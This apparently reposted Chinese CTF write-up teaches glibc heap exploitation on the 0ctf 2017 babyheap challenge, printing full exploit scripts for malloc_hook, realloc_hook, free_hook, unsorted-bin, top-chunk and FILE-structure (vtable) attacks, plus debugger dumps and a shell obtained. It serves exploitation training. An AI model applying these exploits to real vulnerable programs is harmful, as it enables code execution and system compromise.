美文网首页
堆利用的手法:

堆利用的手法:

作者: cnitlrt | 来源:发表于2020-03-05 13:22 被阅读0次
    • malloc_hook
    • realloc_hook+free_hook
    • free_hook
    • unsorted_bin+free_hook
    • io_finsh
    • io_overflow

    接下来就以0ctf-babyheap-2017来做例题进行讲解

    分析的过程在我的另一篇文章上就有说明,这里就不再进行分析,主要是讲方法

    1.malloc_hook

    第一种是最简单的方法,就是将malloc_hook覆盖为one_gadget,因为在malloc_hook不为空的时候会进行跳转,具体的可以参考我的另一篇文章

    上面的方法虽然很简单但是当one_gadget不可用的时候就会很鸡肋,这就需要借助一个巧妙的办法来使得one_gadget的条件成立

    2.realloc_hook+one_gadget:

    我们首先来看一下realloc_hook的汇编代码:

       0x7f064d9456c0 <__GI___libc_realloc>:    push   r15
       0x7f064d9456c2 <__GI___libc_realloc+2>:  push   r14
       0x7f064d9456c4 <__GI___libc_realloc+4>:  push   r13
       0x7f064d9456c6 <__GI___libc_realloc+6>:  push   r12
       0x7f064d9456c8 <__GI___libc_realloc+8>:  mov    r13,rsi
       0x7f064d9456cb <__GI___libc_realloc+11>: push   rbp
       0x7f064d9456cc <__GI___libc_realloc+12>: push   rbx
       0x7f064d9456cd <__GI___libc_realloc+13>: mov    rbx,rdi
       0x7f064d9456d0 <__GI___libc_realloc+16>: sub    rsp,0x38 
    
       0x7f064d945786 <__GI___libc_realloc+198>:    pop    rbp
       0x7f064d945787 <__GI___libc_realloc+199>:    pop    r12
       0x7f064d945789 <__GI___libc_realloc+201>:    pop    r13
       0x7f064d94578b <__GI___libc_realloc+203>:    pop    r14
       0x7f064d94578d <__GI___libc_realloc+205>:    pop    r15
    

    push和pop是对应的,我们可以控制push的数量来抬高栈,促使one_gadget条件成立
    exp:

    add(0x18)#0
    add(0x18)#1
    add(0x60)#2
    add(0x18)#3
    edit(0,0x18+0x8,0x18*'a'+p64(0x91))
    free(1)
    add(0x18)
    show(2)
    libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78
    log.success("libc_base:"+hex(libc_base))
    free_hook = libc_base+0x3c67a8
    malloc_hook = libc_base+libc.symbols["__malloc_hook"]
    sys_addr = libc_base+libc.symbols["system"]
    realloc_hook = libc_base +libc.symbols["__libc_realloc"]
    one = 0x4526a+libc_base
    print ("realloc_hook:"+hex(realloc_hook))
    add(0x60)#4-->2
    free(2)
    edit(4,0x8,p64(malloc_hook-0x23))
    add(0x60)#2
    add(0x60)#5
    edit(5,27,11*'a'+p64(one)+p64(realloc_hook))
    print("one:"+hex(one))
    add(0x20)
    p.interactive()
    

    我们将断点设在one_gadget处,当realloc+0的时候,查看rsp的值:

    x/32gx $rsp
    0x7ffd36626fe8: 0x00007f83e17068ef  0x0000000000000000
    0x7ffd36626ff8: 0x1999999999999999  0x00007f83e1a48780
    0x7ffd36627008: 0x00007f83e17792c0  0x000000000000000a
    0x7ffd36627018: 0xffffffffffffffff  0x0000000005a476a3
    0x7ffd36627028: 0x0000000000000000  0x0000000000000014
    0x7ffd36627038: 0x000055ab3dbd6a40  0x00007ffd366271b0
    0x7ffd36627048: 0x0000000000000000  0x0000000000000000
    0x7ffd36627058: 0x00007f83e1706fba  0x0000000000000000
    0x7ffd36627068: 0x0000000000000000  0x00007ffd366270b0
    0x7ffd36627078: 0x000055ab3dbd6a40  0x00007ffd366271b0
    0x7ffd36627088: 0x000055ab3dbd6dd1  0x0000000000000000
    0x7ffd36627098: 0x0000226b753c7940  0x0000001400000006
    0x7ffd366270a8: 0x2aafbfb0eff03100  0x00007ffd366270d0
    0x7ffd366270b8: 0x000055ab3dbd717a  0x00007ffd366271b0
    0x7ffd366270c8: 0x0000226b753c7940  0x000055ab3dbd73e0
    0x7ffd366270d8: 0x00007f83e16a2830  0x0000000000000001
    

    我们发现此时rsp+0x30处的值为0xffffffffffff
    接下来我们进行调试发现当realloc+8的时候rsp+0x30处的值为0,满足

    x/32gx $rsp+0x30
    0x7ffedaf67958: 0x0000000000000000  0x00007ffedaf679a0
    0x7ffedaf67968: 0x0000000000000000  0x0000000000000014
    0x7ffedaf67978: 0x00007fbf3f52bfba  0x0000000000000000
    0x7ffedaf67988: 0x0000000000000000  0x00007ffedaf679d0
    0x7ffedaf67998: 0x000055bafd130a40  0x00007ffedaf67ad0
    0x7ffedaf679a8: 0x000055bafd130dd1  0x0000000000000000
    0x7ffedaf679b8: 0x000050a8748e18c0  0x0000001400000006
    0x7ffedaf679c8: 0xd328f8938e9f4700  0x00007ffedaf679f0
    0x7ffedaf679d8: 0x000055bafd13117a  0x00007ffedaf67ad0
    0x7ffedaf679e8: 0x000050a8748e18c0  0x000055bafd1313e0
    0x7ffedaf679f8: 0x00007fbf3f4c7830  0x0000000000000001
    0x7ffedaf67a08: 0x00007ffedaf67ad8  0x000000013fa96ca0
    0x7ffedaf67a18: 0x000055bafd13111d  0x0000000000000000
    0x7ffedaf67a28: 0xf800aceb67378041  0x000055bafd130a40
    0x7ffedaf67a38: 0x00007ffedaf67ad0  0x0000000000000000
    0x7ffedaf67a48: 0x0000000000000000  0xac88e321b4f78041
    

    效果

    Command: $ 1
    Size: $ 20
    $ ls
    0ctf_2017_babyheap  baby2.py  baby3.py    baby4.py  baby.py  core
    $  
    

    3.free_hook

    free_hook和malloc_hook差不多,都会首先检查其内的值是否为空,若不为空则跳转,但是调试可以发现free_hook上方有好多0,不能直接覆盖free_hook为想要的地址,这里就有两种方法来实现向free_hook内写值,我们发现在free_hook-0xb58处又可以利用的值

    1.覆盖top_chunk为free_hook-0xb58

    2.利用unsortedbinattarck在free_hook上方写入数据

    首先第一种:
    exp:

    add(0x18)#0
    add(0x18)#1
    add(0x68)#2
    add(0x18)#3
    payload = 0x18*'a'+p64(0x91)
    edit(0,len(payload),payload)
    free(1)
    add(0x18)
    show(2)
    addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    print(hex(addr))
    libc_base = addr - 0x3c4b78
    print(hex(libc_base))
    malloc_hook = libc.symbols["__malloc_hook"]+libc_base
    free_hook = libc.symbols["__free_hook"]+libc_base
    sys_addr = libc.symbols["system"]+libc_base
    add(0x68)#4-->2
    add(0x18)#5
    add(0x88)#6
    add(0x18)#7
    free(6)
    payload = 0x18*'a'+p64(0x91)+p64(0)+p64(free_hook-0x23)  #unsorted bin attrack
    edit(5,len(payload),payload)
    add(0x88)#6
    free(2)
    payload = p64(free_hook-0x16)   #fastbin attrack
    edit(4,len(payload),payload)
    add(0x60)#2
    add(0x60)#8
    edit(8,0x6+0x8,"a"*0x6+p64(sys_addr))
    edit(0,0x8,"/bin/sh\x00")
    free(0)
    

    当我们进行unsorted bin attrack时,观察free_hook上方发现

    x/32gx 0x7f09382a77a8-0x13
    0x7f09382a7795 <_IO_stdfile_0_lock+5>:  0x00007f09382a5b78  0x0000000000000000
    

    已成功写入main_arena+88的地址,同时我们还发现在0x7f09382a77a8-0x13-0x3
    处为:

    x/32gx 0x7f09382a77a8-0x13-0x3
    0x7f09382a7792 <_IO_stdfile_0_lock+2>:  0x09382a5b78000000  0x000000000000007f
    

    这时候就可以结合fastbinattrack来获取shell
    其次第二种,即改变topchunk的值来进行getshell

    我们发现在free_hook-0xb58处有可以利用的值,那我们可以改变topchunk处的值为free_hook-0xb58这样在下次分配的时候就是分配的free_hook-0xb58处的块,经过多次分配就可以分配到free_hook,从而改变free_hook的值进行getshell

    exp:

    add(0x18)#0
    add(0x18)#1
    add(0x68)#2
    add(0x18)#3
    payload = 0x18*'a'+p64(0x91)
    edit(0,len(payload),payload)
    free(1)
    add(0x18)
    show(2)
    addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))
    print(hex(addr))
    libc_base = addr - 0x3c4b78
    print(hex(libc_base))
    malloc_hook = libc.symbols["__malloc_hook"]+libc_base
    free_hook = libc.symbols["__free_hook"]+libc_base
    add(0x68)#4--->2
    free(2)
    edit(4,0x8,p64(malloc_hook-0x3-0x8))   #fastbin attrack
    add(0x68)#2
    add(0x68)#5 -->malloc
    payload = (0x60+0x3)*"\x00"+p64(free_hook-0xb58)
    edit(5,len(payload),payload)
    for i in range(6):
        add(0x200)
    payload = '\x00'*(0xa0+0x58)+p64(libc.symbols["system"]+libc_base)
    edit(11,len(payload),payload)
    edit(0,8,"/bin/sh\x00")
    free(0)
    

    在这里我做的时首先进行fastbinattrack,申请到malloc_hook上方的块,然后通过填充填充到topchunk,改变topchunk的值
    未改变之前topchunk的值:

    0x7f2816c6bb70 <main_arena+80>: 0x0000000000000000  0x00005579f8b410d0
    

    改变之后topchunk 的值

    0x7ff38d95eb70 <main_arena+80>: 0x0000000000000000  0x00007ff38d95fc50
    

    然后我们进行多次申请就可以申请到free_hook处的位置进行getshell

    4.IO_FILE

    这里有两种攻击方法(或许有更多种)
    1.io_overflow

    将虚表地址设置为IO_str_jumps地址,fd+0xe0设置为one_gadget即可完成利用

    exp:

    add(0x18)#0
    add(0x18)#1
    add(0x88)#2
    add(0x18)#3
    edit(0,0x18+0x8,0x18*'a'+p64(0xb1))
    free(1)
    add(0x18)
    show(2)
    libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78
    print "libc_base: "+hex(libc_base)
    sys_addr = libc_base+0x45390
    io_list = 0x3c5520+libc_base
    jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
    sh_addr = 0x18cd57+libc_base
    o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
    one = o_g[1]+libc_base
    print "jump:"+hex(jump)
    print "io_list:"+hex(io_list)
    print "sys_addr:"+hex(sys_addr)
    payload = 0x10*'a'+p64(0)+p64(0x61)+p64(0)+p64(io_list-0x10)+p64(0)+p64(1)
    payload += p64(0)+p64(0)
    payload = payload.ljust(0xc8,"\x00")
    payload += p64(0)*4
    payload += p64(jump)+p64(one)
    edit(1,len(payload),payload)
    add(0x60)
    

    我们伪造的fp:

    $1 = {
      file = {
        _flags = 0x0, 
        _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, 
        _IO_read_end = 0x0, 
        _IO_read_base = 0x7f338aea9510 "", 
        _IO_write_base = 0x0, 
        _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>, 
        _IO_write_end = 0x0, 
        _IO_buf_base = 0x0, 
        _IO_buf_end = 0x0, 
        _IO_save_base = 0x0, 
        _IO_backup_base = 0x0, 
        _IO_save_end = 0x0, 
        _markers = 0x0, 
        _chain = 0x0, 
        _fileno = 0x0, 
        _flags2 = 0x0, 
        _old_offset = 0x0, 
        _cur_column = 0x0, 
        _vtable_offset = 0x0, 
        _shortbuf = "", 
        _lock = 0x0, 
        _offset = 0x0, 
        _codecvt = 0x0, 
        _wide_data = 0x0, 
        _freeres_list = 0x0, 
        _freeres_buf = 0x0, 
        __pad5 = 0x0, 
    
        _mode = 0x0, 
        _unused2 = '\000' <repeats 19 times>
      }, 
      vtable = 0x7f338aea77a0 <_IO_str_jumps>
    }
    

    当程序崩溃时回调哟偏移为0xe0处的值即触发one_gadget
    2.io_finsh

    同之前io_overflow类似,io_finish会以_IO_buf_base处的值为参数跳转至fd+0xe8处的值。
    设置虚表地址为io_str_jump-0x8(异常总会调用虚标+0x18处的函数)
    设置_IO_buf_base为bin/sh字符串地址,设置0xe8偏移处为system函数。
    相较io_overflow不会有one_gadget不可用的情况。
    exp:

    add(0x18)#0
    add(0x18)#1
    add(0x88)#2
    add(0x18)#3
    edit(0,0x18+0x8,0x18*'a'+p64(0xb1))
    free(1)
    add(0x18)
    show(2)
    libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00"))-0x3c4b78
    print "libc_base: "+hex(libc_base)
    sys_addr = libc_base+0x45390
    io_list = 0x3c5520+libc_base
    jump = libc_base+libc.symbols["_IO_file_jumps"]+0xc0
    sh_addr = 0x18cd57+libc_base
    o_g = [0x45216,0x4526a,0xf02a4,0xf1147]
    one = o_g[1]+libc_base
    print "jump:"+hex(jump)
    print "io_list:"+hex(io_list)
    print "sys_addr:"+hex(sys_addr)
    payload = 0x10*'a'+p64(0)+p64(0x61)+p64(0)+p64(io_list-0x10)+p64(0)+p64(1)
    payload += p64(0)+p64(sh_addr)
    payload = payload.ljust(0xc8,"\x00")
    payload += p64(0)*4
    payload += p64(jump-0x8)+p64(0)+p64(sys_addr)
    edit(1,len(payload),payload)
    add(0x60)
    

    伪造的fp:

    $1 = {
      file = {
        _flags = 0x0, 
        _IO_read_ptr = 0x61 <error: Cannot access memory at address 0x61>, 
        _IO_read_end = 0x0, 
        _IO_read_base = 0x7f69ecad3510 "", 
        _IO_write_base = 0x0, 
        _IO_write_ptr = 0x1 <error: Cannot access memory at address 0x1>, 
        _IO_write_end = 0x0, 
        _IO_buf_base = 0x7f69ec89ad57 "/bin/sh", 
        _IO_buf_end = 0x0, 
        _IO_save_base = 0x0, 
        _IO_backup_base = 0x0, 
        _IO_save_end = 0x0, 
        _markers = 0x0, 
        _chain = 0x0, 
        _fileno = 0x0, 
        _flags2 = 0x0, 
        _old_offset = 0x0, 
        _cur_column = 0x0, 
        _vtable_offset = 0x0, 
        _shortbuf = "", 
        _lock = 0x0, 
        _offset = 0x0, 
        _codecvt = 0x0, 
        _wide_data = 0x0, 
        _freeres_list = 0x0, 
        _freeres_buf = 0x0, 
        __pad5 = 0x0, 
        _mode = 0x0, 
        _unused2 = '\000' <repeats 19 times>
      }, 
      vtable = 0x7f69ecad1798
    

    当程序崩溃时会调用偏移0xe8处的值,从而获取shell

    可以注意到,IO_file attack 的利用并不是百分百成功,必须要libc的低32位地址为负时,攻击才会成功,原因还是出在fflush函数的检查里,它第二步才是跳转,第一步的检查,在arena里的伪造file结构中这两个值,绝对值一定可以通过,那么就会直接执行虚表函数。所以只有为负时,才会check失效

    参考:

    [原创]堆的六种利用手法

    新手向——IO_file全流程浅析

    ctfwiki

    相关文章

      网友评论

          本文标题:堆利用的手法:

          本文链接:https://www.haomeiwen.com/subject/fnlvkhtx.html